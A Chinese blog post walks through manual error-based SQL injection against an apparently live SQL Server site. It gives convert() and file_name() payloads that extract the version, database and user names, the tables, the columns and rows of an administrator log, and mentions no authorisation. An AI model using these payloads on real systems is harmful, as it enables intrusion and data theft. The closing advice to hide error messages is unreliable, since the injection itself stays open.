實戰記錄之SQL server報錯手工注入

雪痕*發表於2020-06-08

前言

最近測試了一個站點,這個站點挺有意思,發現沒有關閉錯誤提示,初步猜測是SQL server資料庫,後來驗證確實是。在這裡記錄一下實戰過程,並詳細講解一下用到的知識點。

SQL server報錯注入原理

SQL server報錯注入的文章,網上有很多,大部分文章都列出了類似於公式的句子,卻沒有解釋為什麼使用這樣的函式。這裡用convert()函式舉例,convert()函式是是將日期轉換為新資料型別的通用函式。
對於我們們構造的payloadconvert(int,@@version),convert函式會先執行第二個引數指定的sql查詢,並嘗試轉化為int型別,因為查詢的結果是varchar型別,所以會轉化失敗報錯,報錯的資訊當中有我們們需要的資訊。
滿足這樣條件的函式很多,如:
convert() file_name() db_name() col_name()
還有一些其他的不列舉了。

發現注入點

之前猜測是SQL server資料庫,現在驗證一下,發現在輸入手機號的地方存在注入點,用sqlmap跑了一下沒跑出來,尷尬==,那就嘗試手工注入。構造payloadconvert(int,@@version),目的是查詢一下版本資訊。

發現是SQL server資料庫

查詢基本資訊

知道了版本,還需要查詢一下資料庫名,和當前使用者名稱(看看擁有多少許可權)。
payload:
convert(int,db_name()) convert(int,user)

獲取表名

這裡遇到了一點小問題,繼續使用convert()函式時,發現查詢的內容溢位了整數列。

這可如何是好,convert()無法使用了,所以我們們前面總結的實現相同功能的函式就派上用場了。這裡更換函式,使用file_name()函式,構造payload:
(file_name((select%20 top 1 name from 庫名.sys.sysobjects where xtype='U')))

可以查詢出第一張表,這時候可以在後面加一個條件語句and name !='上一個表名',可以查詢出第二張表。
payload:
(file_name((select%20 top 1 name from 庫名.sys.sysobjects where xtype='U'and name !='上一個表名')))

如果想要查詢第三張表,再接著新增條件語句就可以了,可以查詢出所有的表。這裡就不演示了。

獲取列名

payload:
(file_name((select top 1 COLUMN_NAME from information_schema.columns where TABLE_NAME=cast(16進製表名 as varchar))))

我們獲取到了第一個列名"編號",接下來依然再後面新增條件語句and COLUMN_NAME != '上一個列名'就可以獲取到第二個列名。
payload:
(file_name((select top 1 COLUMN_NAME from information_schema.columns where TABLE_NAME=cast(16進製表名 as varchar) and COLUMN_NAME != '上一個列名')))


按照這種方法同樣可以查詢出所有列名。這裡就不向下查詢了。

獲取資料

前面我們查詢到的表名有 S票據列印記錄``管理員操作記錄而我們獲取了管理員操作記錄下的列名編號管理員編號操作內容,下面我們查詢操作內容下的資料。
payload:
(select top 1 列名 from 表名)

依然可以通過條件語句獲取到其他的資料,這裡就不在演示了。
SQL server報錯注入到此為止。

修復方案

關閉錯誤提示

相關文章